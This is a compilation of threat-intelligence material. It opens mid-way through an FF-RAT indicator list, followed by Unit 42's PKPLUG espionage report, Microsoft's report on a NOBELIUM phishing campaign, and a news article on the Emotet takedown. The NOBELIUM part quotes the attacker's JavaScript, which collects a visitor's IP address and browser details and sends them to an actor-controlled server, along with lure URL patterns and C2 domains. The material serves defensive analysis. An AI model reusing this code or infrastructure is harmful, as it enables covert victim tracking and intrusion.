0E804464F1669674B83E6605D8C4617D8D2B6EFB36532C71B654B61E5C71B8F9 - 21961087CC10A4666A263BA3841BA571837181B0288DE533FE9F114E8269E7B9 - 24D7C59076DF6B6E710E80E708513F0D95A23869B5EA43772B5AF9DB92786B51 - 5B3A0FCCFD1F652BBF71B9F7757A38E5DB0D0ED5A377A821E5E5BF886461E924 - 632519CA40720D180205BB8405A1BC3888F69899F59DEC53A2EAF06F08A3D86E - 908CFF61E49A89443C11F56BB822FB0139967031052E1F456AA3BA80F2E9612C - 98CED0CBE7FDB09810D9B2DED5D0B73EC9659AFE179C1D911EDAB373AE630ECE - 9E8578E0EA406F987F0E227810408BEC29864A237C0A745D374971618B35AFFE - D4E80E1208BA43272F368D0ECA38F0467D70745A42ABA4D4AC7E333A64201790 - EA0062BA2D26D6C3948E93A01C12ED413327E1E428F25495844B14DFF3DE7C9C - FEC88F4BAAD17942EDF29C1F0A6036D1F30BD7435380247BDCD55F2B7E163A1A **FF-RAT 32-bit DLLs:** - 0358C0461792A8F15811C57C9FB870CCE00DCF8C5BE8BF590BDC2DDE2DDCB4A2 - 06FB73DEB589E0DA55786AC83410AF3444355A653FEC34D0BF0B17203446B1D5 - 112531BF280B8354B3A41F1F0EDC2AFA5FE51F65429B813EC536D744B4B67AE5 - 16312D26C39965CE0CBC8567F11ADD5D5FBDCC11A8A4364FEA9B4F7E3416B0E4 - 39F488E65D8BDBE04A87A19452F8291A9870DE54C2850FFE8F4140E7C0F00475 - 41249D078F11EE3D5E07809A50689F29B784B1484681D519AD703AF7B7F25584 - 4CA190D05C0F4A729A3E370453E2A00FC9CA7282539FAEB794AF358DB5F62046 - 618B6782809B9ABA05FB8F99568BF6F89CC9EF8F9A5F8A86F1CB76670E215405 - 8A0D4B1421B91471C3DC65187D77707AB20FD19185DA57FD4CF568ED4BAB6951 - 8A37114B3290A1A34101AC4877BEDEC6E57EB0C4642CD1CE4CDFE71BDE23B426 - 8BF4086470F233FE040A017AC5DF4913A2BF38B8C55916E20A2379DC60163003 - 919407D7394D59E1E45F936A4D9EC76F8B75560E53BA25BF4ACFFE8FB401B7F6 - 99B43B190B62C5D997288FBFF7C7AE2B224BD2007A40F44558460B280D5C74F7 - 9C1F358F4500D605B25A6DF2A20AB7EF05FFBC0474C626F54DBF0F0073FE539C - A84929A9BE9AE8C65D8B09C38BA3F73A63CA4F6BE1A7E7AD84F4407E847D842B - B73F67A1DD39F943BF447D5399DD6577A05DB3C1F0BF91E01FAEE4BF38975AEE - BE1A753A8DAA380797743F67BDD3DFB8FE348401A68AAFFF9B97695C8929F140 - CEB3AFB539AB43E04EA27E9B378505483E6B03A8DF5D7C9786E1EFB948201C80 - CF0E852A828E8BDBB9C77A7DF32E31DDDD1F6B3B7890C2BD80C3C02B5587B42B - D524BEDFB8514DC76B1AA778D865CAEBC76E27BE3773ED3D7DF8DE9C44A1E22B - DF32A0D6156A94C2EEEDF8F6072BAF75F92CCCCFF4A6D1519B07B906EAA3C9B2 - E3D867439D08DB7E622A99DC55BB33018B40D18C7BA6D322F4C0E010B62D4706 - F6739B7A2E48DCD505E017F53F3AE85B535F4839B7363929097EAF0937799843 - B01E5B5EA94A39EB3A80339987C68AE4CB8B90E68F9C794D01D6C3AC1FB8759F **File-Based:** - %WINDIR%\System32\curl.dat - %WINDIR%\System32\frtest.dat - %WINDIR%\System32\frmonk.dat - %WINDIR%\System32\trtest.dat - %WINDIR%\System32\prfi0814.dat - %WINDIR%\System32\RCoResX64.dat - %WINDIR%\Media\Windows Config.wav - %WINDIR%\Media\WindowsMainSound.wav **IP Addresses:** - 103.27.108.121 - 211.55.29.55 - 59.188.16.147 - 68.68.43.149 **Domains:** - aunetdns.com - capstone.homeftp.net - cxman.wicp.net - dns.gogogogoogle.com - dns-1.verifysign.org - dns1-1.verifysign.org - fan001.yahoolive.us - ftpseck.ftp21.net - game.googlecustomservice.com - game.googlesoftservice.net - gifa.cechire.com - hehe000002.3322.org - hookyouxx.blog.163.com - huangxiaoxian.3utilities.com - info.playdr2.com - latecoere.blogdns.com - linuxdns.sytes.net - login.gamepoer7.com - luotuozhizhu.blog.163.com - pcal2.dwy.cc - pcal2.yahoolive.us - pf.playdr2.com - pplove.bounceme.net - qemail.gotdns.com - rp.gamepoer7.com - svhost.org - tk.u2xu2.com - update.gogogogoogle.com - welcome.dnsd.info - welcometohome.strangled.net - wucy08.eicp.net - wuzhiting.3322.org - www.rooter.tk - www.tibetonline.info - www.vxea.com - zz.alltosec.com **Certificates:** - Issued to: Beijing Wintone Science & Technology Corporation Ltd. Thumbprint: 5b90748fdac1631de2c5286544919983d0716156 Serial Number: 7a c3 9e 72 df d5 85 d9 01 9f 91 80 02 68 f3 ef - Issued to: Binzhou XinPin Technology Co. Thumbprint: c1fdd5f5cb4b69be78c7c8c946890d5726fc4d42 Serial Number: 39 1e 36 3e c8 2a d7 61 3d b4 78 c1 78 18 0e 8b - Issued to: Yijiajian (Amoy) Jiankan Tech Co. Thumbprint: 4bb350bea954ac8ceae09ff6859989c1029b9cdb Serial Number: 65 4b 40 6d e3 88 ec 2a ec 25 3f f2 ba 4c 4b bd - Issued to: SHENZHEN HONGQI ELECTRONICS CO. Thumbprint: e8d1a4f5d4a903241f6de259ff00e7305423bdf7 Serial Number: 5b 84 5f 7e 7c 6e 68 04 6b f4 34 89 5d e4 86 51 - Issued to: Xuzhou Chenji Technology Co. Thumbprint: c184466ce5685d208cd1d38880a1fb8763322447 Serial Number: 19 ce 16 72 10 71 45 e0 6f dc 45 fa 2b 75 3f 0b - Issued to: Hangzhou Degou Information Technology Co. Thumbprint: 96d5e6925aa3c9928f393d23e91abd0efadd16ac Serial Number: 64 47 7c 85 f2 6c 2c a6 7d 76 46 84 34 26 3e 0e - Issued to: Shenzhen Jinxian Technology Co. Thumbprint: 6e165fe061bc4eef38bfbda414da61a0c42491b2 Serial Number: 54 87 1d 9a b3 8d 19 02 c3 21 15 f4 c0 79 7e a2 - Issued to: Zhengzhoushi Tiekelian Information Technology Co. Thumbprint: 572973c5c86134276404fe524ab35cf3829ebacc Serial Number: 55 ab 71 a3 f9 dd e3 ef 20 c7 88 dd 1d 5f f6 c3 - Issued to: Zhengzhou Wanxiang Gaoke Information Technology Co. Thumbprint: 9a2ea03faf2219962345fc4ffbc348507b725c81 Serial Number: 2e 7c 84 da 11 c9 80 26 63 45 24 b1 e1 8b 0f bd *Please note that some of the domains listed have been sinkholed by security researchers.*
# PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia **By Alex Hinchliffe** **October 3, 2019** ## Executive Summary For three years, Unit 42 has tracked a set of cyber espionage attack campaigns across Asia, which used a mix of publicly available and custom malware. Unit 42 created the moniker “PKPLUG” for the threat actor group, or groups, behind these and other documented attacks referenced later in this report. We say group or groups as our current visibility doesn’t allow us to determine with high confidence if this is the work of one group, or more than one group which uses the same tools and has the same tasking. The name comes from the tactic of delivering PlugX malware inside ZIP archive files as part of a DLL side-loading package. The ZIP file format contains the ASCII magic-bytes “PK” in its header, hence PKPLUG. While tracking these attackers, Unit 42 discovered additional, mostly custom malware families being used by PKPLUG beyond that of just PlugX. The additional payloads include HenBox, an Android app, and Farseer, a Windows backdoor. The attackers also use the 9002 Trojan, which is believed to be shared among a small subset of attack groups. Other publicly available malware seen in relation to PKPLUG activity includes Poison Ivy and Zupdax. During our investigations and research into these attacks, we were able to relate previous attacks documented by others that date back as far back as six years ago. Unit 42 incorporates these findings, together with our own, under the moniker PKPLUG and continue to track accordingly. It’s not entirely clear as to the ultimate objectives of PKPLUG, but installing backdoor Trojan implants on victim systems, including mobile devices, infers tracking victims and gathering information is a key goal. We believe victims lay mainly in and around the Southeast Asia region, particularly Myanmar, Taiwan, Vietnam, and Indonesia; and likely also in various other areas in Asia, such as Tibet, Xinjiang, and Mongolia. Based on targeting, content in some of the malware and ties to infrastructure previously documented publicly as being linked to Chinese nation-state adversaries, Unit 42 believes with high confidence that PKPLUG has similar origins. ## Targeting Based on our visibility into PKPLUG’s campaigns and what we’ve learned from collaborating with industry partners, we believe victims lay mainly in and around the Southeast Asia region. Specifically, the target countries/provinces include (with higher confidence) Myanmar and Taiwan as well as (with lower confidence) Vietnam and Indonesia. Other areas in Asia targeted include Mongolia, Tibet, and Xinjiang. This blog, and the associated Adversary Playbook, provides further details including: the methods used for malware delivery, the social engineering topics of decoy applications and documents, and the Command & Control (C2) infrastructure themes. Indonesia, Myanmar, and Vietnam are ASEAN members, contributing towards intergovernmental cooperation in the region. Mongolia, specifically the independent country also known as Outer Mongolia, has a long-standing and complex relationship with the PRC. Tibet and Xinjiang are autonomous regions (AR) of China that tend to be classified by China’s ethnic minorities, granted the ability to govern themselves but ultimately answering to the People’s Republic of China (PRC). Tibet and Xinjiang are the only ARs, from five, where the ethnic group maintains a majority over other populations. Most, if not all, of the seven countries or regions, are involved in some way with Beijing's Belt and Road Initiative (BRI) designed to connect 71 countries across Southeast Asia to Eastern Europe and Africa. The path through Xinjiang is especially important to the BRI’s success, but is more often heard of due to conflicts between the Chinese government and the ethnic Uyghur population. News of the BRI is peppered with stories of success and failure, of countries for and against the BRI and of countries pulling out of existing BRI projects. Further tensions in the region are attributed to ownership claims over the South China Sea, including fishing quotas and the yet unproven oil and gas reserves. At least three of the target countries mentioned (Malaysia, Taiwan, and Vietnam) have laid claim to parts of these waters, and some use the area for the vast majority of their trade. Foreign militaries also patrol, attempting to keep the area open. Taiwan, which isn’t an AR and doesn’t appear to be actively involved with the BRI, has its own long-standing history with the PRC -- a recent $2.2 billion arms sale with the U.S. may exacerbate matters. ## Timeline Before continuing, it’s worth highlighting our research and others relating to the intrusion set that we refer to as PKPLUG. This section documents prior work surrounding cyber attacks relating to PKPLUG. The following figure illustrates the chronological order of the publications -- highlighting some key findings from each. As you can see from the timeline, PKPLUG has been active for six years or more with a variety of targets and methods of delivery and compromise. **#1:** In November 2013, Blue Coat Labs published a report describing a case of attacks against Mongolian targets using PlugX malware. Like so many other attacks using PlugX over the past decade or more, Blue Coat noted the DLL side-loading technique used to launch the malicious payload via legitimate, signed applications. Their report also documented the group’s use of an exploit against software vulnerabilities in Microsoft Office. **#2:** A report published in April 2016 by Arbor Networks detailed recent cyber attacks using Poison Ivy malware against targets in Myanmar and other countries in Asia over the previous twelve months. They noted phishing emails using ASEAN membership, economics, and democracy-related topics to weaponize documents delivering the Poison Ivy payloads. **#3:** Unit 42 published research that reported attacks using the 9002 Trojan delivered through Google Drive. The download originated with a spear-phishing email containing a shortened URL that redirected multiple times before downloading a ZIP file hosted on Google Drive. **#4:** In March 2017, researchers published a report in Japanese (later translated into English) that described attacks seen by VKRL -- a Hong Kong-based cybersecurity company -- that were using spear-phishing emails with URLs using GeoCities Japan to deliver malware. **#5:** In early 2018, Unit 42 discovered a new Android malware family that we named “HenBox” and is tracking over 400 related samples dating back as far as late 2015, and continuing to present day. HenBox often masquerades as legitimate Android apps and appears to primarily target the Uyghurs. **#6:** Based on further investigations and pivoting around HenBox infrastructure, Unit 42 discovered a previously-unknown Windows backdoor Trojan called Farseer. Farseer also uses the DLL side-loading technique to install payloads -- this time favoring a signed Microsoft executable from VisualStudio to appear benign. ## Tying It All Together The following Maltego image shows the vast majority of known infrastructure and some of the known malware samples related to PKPLUG, and the chart continues to grow as we discover more about this adversary. The indexed shapes that overlay the figure provide a reference back to the published work chronology mentioned above. Overlaps between the different campaigns documented, and the malware families used in them, exist both in infrastructure (domain names and IP addresses being reused, sometimes in multiple cases) and in terms of malicious traits (program runtime behaviors or static code characteristics are also where relationships can be found or strengthened). The C2 infrastructure blogged by Blue Coat Labs in their publication included ppt.bodologetee[.]com has infrastructure ties microsoftwarer[.]com through a shared IPv4 with parent domain bodologetee[.]com. Domain microsoftwarer[.]com was found after threat hunting based on facts provided in publication relating to the FHAPPI campaign. Some HenBox malware has used domain cdncool[.]com as well for its C2 communications, as documented in Unit 42’s publication. Domain cdncool[.]com is thus connected not only to HenBox and Farseer campaigns, but also, through Poison Ivy malware, to the campaigns documented by Blue Coat Labs and Arbor Networks. ## PKPLUG’s Adversary Playbook Unit 42 has previously described and published Adversary Playbooks you can view using our Playbook Viewer. To recap briefly, Adversary Playbooks provide a Threat Intelligence package in STIX 2.0 that include all IoCs for known attacks by a given adversary. In addition, said packages also include structured information about attack campaigns and adversary behaviours -- their TTPs -- described using Mitre’s ATT&CK framework. The Adversary Playbook for PKPLUG can be viewed here, and the STIX 2.0 content behind that can be downloaded from here. The Playbook contains several Plays (aka campaigns; instances of the Attack Lifecycle) that map, for the most part, to published research previously mentioned in this blog. ## Conclusion Establishing a clear picture and understanding about a threat group, or groups, is virtually impossible without total visibility into every one of their attack campaigns. Based on this, applying a handle or moniker to a set of related data -- such as network infrastructure, malware behavior, actor TTPs relating to delivery, exfiltration, etc. -- helps us to better understand what it is we’re investigating. Sharing this information -- with a handle, in this case PKPLUG -- especially in a structured, codified manner a la Adversary Playbooks, should allow others to contribute their vantage points and enrich said data until the understanding of a threat group becomes lucid. Based on what we know and what we’ve gleaned from others’ publications, and through industry sharing, PKPLUG is a threat group, or groups, operating for at least the last six years using several malware families -- some more well-known: Poison Ivy, PlugX, and Zupdax; some are less well-known: 9002, HenBox, and Farseer. Unit 42 has been tracking the adversary for three years and based on public reporting believes with high confidence that it has origins to Chinese nation-state adversaries. PKPLUG targets various countries or provinces in and around the Southeast Asia region for multiple possible reasons as mentioned above, including some countries that are members of the ASEAN organisation, some regions that are autonomous to China, some countries and regions somewhat involved with China’s Belt and Road Initiative, and finally, some countries that are embroiled in ownership claims over the South China Sea.
# New Sophisticated Email-Based Attack from NOBELIUM Microsoft Threat Intelligence Center (MSTIC) has uncovered a wide-scale malicious email campaign operated by NOBELIUM, the threat actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, GoldMax malware, and other related components. The campaign, initially observed and tracked by Microsoft since January 2021, evolved over a series of waves demonstrating significant experimentation. On May 25, 2021, the campaign escalated as NOBELIUM leveraged the legitimate mass-mailing service, Constant Contact, to masquerade as a US-based development organization and distribute malicious URLs to a wide variety of organizations and industry verticals. Microsoft is issuing this alert and new security research regarding this sophisticated email-based campaign that NOBELIUM has been operating to help the industry understand and protect from this latest activity. Below, we have outlined attacker motives, malicious behavior, and best practices to protect against this attack. **Note:** This is an active incident. We will post more details here as they become available. **Update [05/28/2021]:** We published a new blog post detailing NOBELIUM’s latest early-stage toolset, composed of four tools utilized in a unique infection chain: EnvyScout, BoomBox, NativeZone, and VaporRage. NOBELIUM has historically targeted government organizations, non-government organizations (NGOs), think tanks, military, IT service providers, health technology and research, and telecommunications providers. With this latest attack, NOBELIUM attempted to target approximately 3,000 individual accounts across more than 150 organizations, employing an established pattern of using unique infrastructure and tooling for each target, increasing their ability to remain undetected for a longer period of time. This new wide-scale email campaign leverages the legitimate service Constant Contact to send malicious links that were obscured behind the mailing service’s URL. Due to the high volume of emails distributed in this campaign, automated email threat detection systems blocked most of the malicious emails and marked them as spam. However, some automated threat detection systems may have successfully delivered some of the earlier emails to recipients either due to configuration and policy settings or prior to detections being in place. Due to the fast-moving nature of this campaign and its perceived scope, Microsoft encourages organizations to investigate and monitor communications matching characteristics described in this report and take the actions described below in this article. We continue to see an increase in sophisticated and nation-state-sponsored attacks and, as part of our ongoing threat research and efforts to protect customers, we will continue to provide guidance to the security community on how to secure against and respond to these multi-dimensional attacks. ## Spear-Phishing Campaign Delivers NOBELIUM Payloads The NOBELIUM campaign observed by MSTIC and detailed in this blog differs significantly from the NOBELIUM operations that ran from September 2019 until January 2021, which included the compromise of the SolarWinds Orion platform. It is likely that these observations represent changes in the actor’s tradecraft and possible experimentation following widespread disclosures of previous incidents. ### Early Testing and Initial Discovery As part of the initial discovery of the campaign in February, MSTIC identified a wave of phishing emails that leveraged the Google Firebase platform to stage an ISO file containing malicious content, while also leveraging this platform to record attributes of those who accessed the URL. MSTIC traced the start of this campaign to January 28, 2021, when the actor was seemingly performing early reconnaissance by only sending the tracking portion of the email, leveraging Firebase URLs to record targets who clicked. No delivery of a malicious payload was observed during this early activity. ### Evolving Delivery Techniques In the next evolution of the campaign, MSTIC observed NOBELIUM attempting to compromise systems through an HTML file attached to a spear-phishing email. When opened by the targeted user, a JavaScript within the HTML wrote an ISO file to disc and encouraged the target to open it, resulting in the ISO file being mounted much like an external or network drive. From here, a shortcut file (LNK) would execute an accompanying DLL, which would result in Cobalt Strike Beacon executing on the system. Here’s an example of target fingerprinting code leveraging Firebase: ```javascript try { let sdfgfghj = ''; let kjhyui = new XMLHttpRequest(); kjhyui.open('GET', 'https://api.ipify.org/?format=jsonp?callback=?', false); kjhyui.onreadystatechange = function (){ sdfgfghj = this.responseText; } kjhyui.send(null); let ioiolertsfsd = navigator.userAgent; let uyio = window.location.pathname.replace('/',''); var ctryur = {'io':ioiolertsfsd,'tu':uyio,'sd':sdfgfghj}; ctryur = JSON.stringify(ctryur); let sdfghfgh = new XMLHttpRequest(); sdfghfgh.open('POST', 'https://eventbrite-com-default-rtdb.firebaseio.com/root.json', false); sdfghfgh.setRequestHeader('Content-Type', 'application/json'); sdfghfgh.send(ctryur); } catch (e) {} ``` Similar spear-phishing campaigns were detected throughout March, which included the NOBELIUM actor making several alterations to the accompanying HTML document based on the intended target. MSTIC also observed the actor experimenting with removing the ISO from Firebase, and instead encoding it within the HTML document. Similarly, the actor experimented with redirecting the HTML document to an ISO, which contained an RTF document, with the malicious Cobalt Strike Beacon DLL encoded within the RTF. In one final example of experimentation, there was no accompanying HTML in the phishing email and instead a URL led to an independent website spoofing the targeted organizations, from where the ISO was distributed. The phishing message and delivery method was not the only evolving factor in the campaign. In one of the more targeted waves, no ISO payload was delivered, but additional profiling of the target device was performed by an actor-controlled web server after a user clicked the link. If the device targeted was an Apple iOS device, the user was redirected to another server under NOBELIUM control, where the since-patched zero-day exploit for CVE-2021-1879 was served. ### Escalated Targeting and Delivery Experimentation continued through most of the campaign but began to escalate in April 2021. During the waves in April, the actor abandoned the use of Firebase, and no longer tracked users using a dedicated URL. Their techniques shifted to encode the ISO within the HTML document and have that responsible for storing target host details on a remote server via the use of the api.ipify.org service. The actor sometimes employed checks for specific internal Active Directory domains that would terminate execution of the malicious process if it identified an unintended environment. In May 2021, the actor changed techniques once more by maintaining the HTML and ISO combination, but dropped a custom .NET first-stage implant, detected as TrojanDownloader:MSIL/BoomBox, that reported host-based reconnaissance data to, and downloaded additional payloads from, the Dropbox cloud storage platform. On May 25, the NOBELIUM campaign escalated significantly. Using the legitimate mass mailing service Constant Contact, NOBELIUM attempted to target around 3,000 individual accounts across more than 150 organizations. Due to the high-volume campaign, automated systems blocked most of the emails and marked them as spam. However, automated systems might have successfully delivered some of the earlier emails to recipients. In the May 25 campaign, there were several iterations. In one example, the emails appear to originate from USAID <[email protected]>, while having an authentic sender email address that matches the standard Constant Contact service. This address (which varies for each recipient) ends in @in.constantcontact.com, and a Reply-To address of <[email protected]> was observed. The emails pose as an alert from USAID. If the user clicked the link on the email, the URL directs them to the legitimate Constant Contact service, which follows this pattern: ``` https://r20.rs6[.]net/tn.jsp?f= ``` The user is then redirected to NOBELIUM-controlled infrastructure, with a URL following this pattern: ``` https://usaid.theyardservice[.]com/d/<target_email_address> ``` A malicious ISO file is then delivered to the system. Within this ISO file are the following files that are saved in the %USER%\AppData\Local\Temp\<random folder name>\ path: - A shortcut, such as Reports.lnk, that executes a custom Cobalt Strike Beacon loader - A decoy document, such as ica-declass.pdf, that is displayed to the target - A DLL, such as Document.dll, that is a custom Cobalt Strike Beacon loader dubbed NativeZone by Microsoft The end result when detonating the LNK file is the execution of “C:\Windows\system32\rundll32.exe Documents.dll,Open”. The successful deployment of these payloads enables NOBELIUM to achieve persistent access to compromised systems. Then, the successful execution of these malicious payloads could enable NOBELIUM to conduct action-on objectives, such as lateral movement, data exfiltration, and delivery of additional malware. Indicators of compromise (IOCs) for the campaign occurring on May 25 are provided in this blog to help security teams to identify actor activity. Microsoft security researchers assess that NOBELIUM’s spear-phishing operations are recurring and have increased in frequency and scope. It is anticipated that additional activity may be carried out by the group using an evolving set of tactics. Microsoft continues to monitor this threat actor’s evolving activities and will update as necessary. Microsoft 365 Defender delivers coordinated defense against this threat. Microsoft Defender for Office 365 detects the malicious emails, and Microsoft Defender for Endpoints detects the malware and malicious behaviors. Additionally, customers should follow defensive guidance and leverage advanced hunting to help mitigate variants of actor activity. ## Mitigations Apply these mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations. - Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. - Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. (EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.) - Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. - Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. - Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint. - Enable multifactor authentication (MFA) to mitigate compromised credentials. Microsoft strongly encourages all customers to download and use passwordless solutions like Microsoft Authenticator to secure your accounts. - For Office 365 users, see multifactor authentication support. - For Consumer and Personal email accounts, see how to use two-step verification. - Turn on the following attack surface reduction rule to block or audit activity associated with this threat: Block all Office applications from creating child processes. **NOTE:** Assess rule impact before deployment. ## Indicators of Compromise (IOC) This attack is still active, so these indicators should not be considered exhaustive for this observed activity. These indicators of compromise are from the large-scale campaign launched on May 25, 2021. | INDICATOR | TYPE | DESCRIPTION | |-----------|------|-------------| | [email protected] | Email | Spoofed email account | | [email protected] | Email | Spoofed email account | | 2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 | SHA-256 | Malicious ISO file (container) | | d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 | SHA-256 | Malicious ISO file (container) | | 94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 | SHA-256 | Malicious ISO file (container) | | 48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 | SHA-256 | Malicious shortcut (LNK) | | ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c | SHA-256 | Cobalt Strike Beacon malware | | ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 | SHA-256 | Cobalt Strike Beacon malware | | usaid.theyardservice[.]com | Domain | Subdomain used to distribute ISO file | | worldhomeoutlet[.]com | Domain | Subdomain in Cobalt Strike C2 | | dataplane.theyardservice[.]com | Domain | Subdomain in Cobalt Strike C2 | | cdn.theyardservice[.]com | Domain | Subdomain in Cobalt Strike C2 | | static.theyardservice[.]com | Domain | Subdomain in Cobalt Strike C2 | | 192[.]99[.]221[.]77 | IP address | IP resolved to by worldhomeoutlet[.]com | | 83[.]171[.]237[.]173 | IP address | IP resolved to by *theyardservice[.]com | | theyardservice[.]com | Domain | Actor controlled domain | ## Detection Details ### Antivirus Microsoft Defender Antivirus detects threat components as the following malware: - Trojan:Win32/NativeZone.C!dha ### Endpoint Detection and Response (EDR) Alerts with the following titles in the Security Center can indicate threat activity on your network: - Malicious ISO File used by NOBELIUM - Cobalt Strike Beacon used by NOBELIUM - Cobalt Strike network infrastructure used by NOBELIUM The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. - An uncommon file was created and added to startup folder. - A link file (LNK) with unusual characteristics was opened. ### Advanced Hunting **Microsoft 365 Defender** **NOTE:** The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential NOBELIUM mass email-related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar drop-down menu to update your query to hunt for the Last 30 days. To locate possible exploitation activity, run the following query in the Microsoft 365 security center: **NOBELIUM abuse of USAID Constant Contact resources in email data** Looks for recent emails to the organization that originate from the original Constant Contact sending infrastructure and specifically from the organization that had accounts spoofed or compromised in the campaign detailed in this report. Run query in Microsoft 365 security center. ```sql EmailUrlInfo | where UrlDomain == "r20.rs6.net" | join kind=inner EmailEvents on $left.NetworkMessageId==$right.NetworkMessageId | where SenderMailFromDomain == "in.constantcontact.com" | where SenderFromDomain == "usaid.gov" ``` **NOBELIUM subject lines used in abuse of Constant Contact service** Looks for recent emails to the organization that originate from the original Constant Contact sending infrastructure and specifically from the organization that had accounts spoofed or compromised in the campaign detailed in this report. It also specifies email subject keywords seen in phishing campaigns in late May using the term “Special Alert!” in various ways in the subject. Run query in Microsoft 365 security center. ```sql let SubjectTerms = pack_array("Special","Alert"); EmailUrlInfo | where UrlDomain == "r20.rs6.net" | join kind=inner EmailEvents on $left.NetworkMessageId==$right.NetworkMessageId | where SenderMailFromDomain == "in.constantcontact.com" | where SenderFromDomain == "usaid.gov" | where Subject has_any (SubjectTerms) ``` **Azure Sentinel** **NOBELIUM exploitation search using Azure Sentinel** To locate possible exploitation activity using Azure Sentinel, customers can find a Sentinel query containing these indicators in this GitHub repository. ## MITRE ATT&CK Techniques Observed This threat makes use of attacker techniques documented in the MITRE ATT&CK framework. ### Initial Access - T1566.003 Phishing: Spearphishing via Service—NOBELIUM used the legitimate mass mailing service, Constant Contact to send their emails. - T1566.002 Phishing: Spearphishing Link—The emails sent by NOBELIUM include a URL that directs a user to the legitimate Constant Contact service that redirects to NOBELIUM-controlled infrastructure. ### Execution - T1610 Deploy Container—Payload is delivered via an ISO file which is mounted on target computers. - T1204.001 User Execution: Malicious Link—Cobalt Strike Beacon payload is executed via a malicious link (LNK) file. ### Command and Control - T1071.001 Application Layer Protocol: Web Protocols—Cobalt Strike Beacons call out to attacker infrastructure via port 443. ## Learn More To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.
# International Action Targets Emotet Crimeware Authorities across Europe on Tuesday said they’d seized control over Emotet, a prolific malware strain and cybercrime-as-service operation. Investigators say the action could help quarantine more than a million Microsoft Windows systems currently compromised with malware tied to Emotet infections. First surfacing in 2014, Emotet began as a banking trojan, but over the years it has evolved into one of the more aggressive platforms for spreading malware that lays the groundwork for ransomware attacks. In a statement published Wednesday morning on an action dubbed “Operation Ladybird,” the European police agency Europol said the investigation involved authorities in the Netherlands, Germany, United States, the United Kingdom, France, Lithuania, Canada, and Ukraine. “The EMOTET infrastructure essentially acted as a primary door opener for computer systems on a global scale,” Europol said. “Once this unauthorized access was established, these were sold to other top-level criminal groups to deploy further illicit activities such as data theft and extortion through ransomware.” Experts say Emotet is a pay-per-install botnet that is used by several distinct cybercrime groups to deploy secondary malware — most notably the ransomware strain Ryuk and Trickbot, a powerful banking trojan. It propagates mainly via malicious links and attachments sent through compromised email accounts, blasting out tens of thousands of malware-laced missives daily. Emotet relies on several hierarchical tiers of control servers that communicate with infected systems. Those controllers coordinate the dissemination of second-stage malware and the theft of passwords and other data, and their distributed nature is designed to make the crimeware infrastructure more difficult to dismantle or commandeer. In a separate statement on the malware takeover, the Dutch National Police said two of the three primary servers were located in the Netherlands. “A software update is placed on the Dutch central servers for all infected computer systems,” the Dutch authorities wrote. “All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined. Simultaneous action in all the countries concerned was necessary to be able to effectively dismantle the network and thwart any reconstruction.” A statement from the German Federal Criminal Police Office about their participation in Operation Ladybird said prosecutors seized 17 servers in Germany that acted as Emotet controllers. “As part of this investigation, various servers were initially identified in Germany with which the malicious software is distributed and the victim systems are monitored and controlled using encrypted communication,” the German police said. Sources close to the investigation told KrebsOnSecurity the law enforcement action included the arrest of several suspects in Europe thought to be connected to the crimeware gang. The core group of criminals behind Emotet are widely considered to be operating out of Russia. A statement by the National Police of Ukraine says two citizens of Ukraine were identified “who ensured the proper functioning of the infrastructure for the spread of the virus and maintained its smooth operation.” A video released to YouTube by the NPU this morning shows authorities there raiding a residence, seizing cash and computer equipment, and what appear to be numerous large bars made of gold or perhaps silver. The Ukrainian policeman speaking in that video said the crooks behind Emotet have caused more than $2 billion in losses globally. That is almost certainly a very conservative number. Police in the Netherlands seized huge volumes of data stolen by Emotet infections, including email addresses, usernames, and passwords. A tool on the Dutch police website lets users learn if their email address has been compromised by Emotet. But because Emotet is typically used to install additional malware that gets its hooks deeply into infected systems, cleaning up after it is going to be far more complicated and may require a complete rebuild of compromised computers. The U.S. Cybersecurity & Infrastructure Security Agency has labeled Emotet “one of the most prevalent ongoing threats” that is difficult to combat because of its ‘worm-like’ features that enable network-wide infections. Hence, a single Emotet infection can often lead to multiple systems on the same network getting compromised. It is too soon to say how effective this operation has been in fully wresting control over Emotet, but a takedown of this size is a significant action. In October, Microsoft used trademark law to disrupt the Trickbot botnet. Around the same time, the U.S. Cyber Command also took aim at Trickbot. However, neither of those actions completely dismantled the crimeware network, which remains in operation today. Roman Hüssy, a Swiss information technology expert who maintains Feodotracker — a site that lists the location of major botnet controllers — told KrebsOnSecurity that prior to January 25, some 98 Emotet control servers were active. The site now lists 20 Emotet controllers online, although it is unclear if any of those remaining servers have been commandeered as part of the quarantine effort.
